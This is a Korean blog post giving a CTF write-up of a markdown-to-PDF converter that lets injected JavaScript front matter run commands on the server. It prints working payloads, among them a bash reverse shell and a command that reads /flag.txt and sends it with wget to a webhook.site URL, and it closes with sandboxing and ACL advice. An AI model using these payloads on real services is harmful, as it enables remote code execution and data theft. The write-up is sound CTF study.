MD to pdf

CTF수상까지...!!·2023년 11월 19일
0

odyssey CTF에 참가했다...
문제도 이해하지 못할 만큼 어려웠다...

가장 만만해 보이는 web문제부터 도전했다.
가운데 textarea에 markdown을 넣어주면 pdf로 변환해주는 기능이다.
지금 작성하는 velog도 markdown으로 작성된다.

Markdown to PDF injection
markdown을 pdf로 변환하는 과정에서 RCE가 발생하는 취약점이 있다고 한다

payload

---js
((require('child_process')).execSync('id'))
---RCE

이 코드를 사용하면 js가 실행되어 RCE가 가능하다

  1. reverse shell 획득.
    payload
---js
((require("child_process")).execSync("bash -c 'bash -i >& /dev/tcp/localhost/7777 0>&1'"))
---RCE

해당 코드로 내 pc에 연결을 시도했는데 잘 연결되지 않는다...

  1. network outbound
    위의 payload로 계속 오류가 발생하여 payload작동이 되지 않았다. 다른 방법으로 webhook 사이트를 이용해 보았다.

ls -al을 통해 directory list를 확인하려 했지만 권한이 없어 보이진 않는데, 처음보는 오류가 계속 발생해서 그냥 cat flag.txt를 열어봤더니 flag가 나왔다.

payload

---js
((require('child_process')).execSync('xd=$(cat /flag.txt) && wget https://webhook.site/165d1295-d458-4c9c-bc8f-8a9395265303/?a=$xd'))
---RCE

문제를 해결하는데 80%~90%를 구글링과 검색으로 시간을 보냈다... 역시 많이 알고 평소에 트렌드를 잘 닦아놔야 겠다!

이 문제는 음...
불필요한 markdown to pdf 서비스가 운영 중인 문제와, 해당 markdown에서 서버의 리소스 까지 접근할 수 있었던 권한문제에 따른 문제인 것 같다.
이를 해결하기 위해, 속도는 느리지만 샌드박싱 환경이나 파일 접근 제어 방식을 통해 서버 설정을 해주면 보안적으로는 좋을 것 같다.

접근 제어 목록 (ACL) 사용

  • ACL 설치 및 활성화: 일부 시스템에서는 ACL을 사용하기 위해 추가적인 패키지 설치나 파일 시스템 마운트 옵션 변경이 필요할 수 있습니다.
  • ACL 설정 (setfacl 명령어 사용): 특정 사용자나 그룹에 대한 세부적인 권한을 설정합니다. 예를 들어:
    setfacl -m u:user1:rw filename: 'user1' 사용자에게 'filename' 파일에 대한 읽기 및 쓰기 권한을 부여합니다.
    setfacl -m g:group1:r filename: 'group1' 그룹에게 'filename' 파일에 대한 읽기 권한을 부여합니다.
  • ACL 확인 (getfacl 명령어 사용): getfacl filename 명령어를 통해 파일의 현재 ACL 설정을 확인할 수 있습니다.

참고 유튜브 - https://www.youtube.com/watch?v=QVaf4DMYPFc

profile
보안 공부...내 공부...

0개의 댓글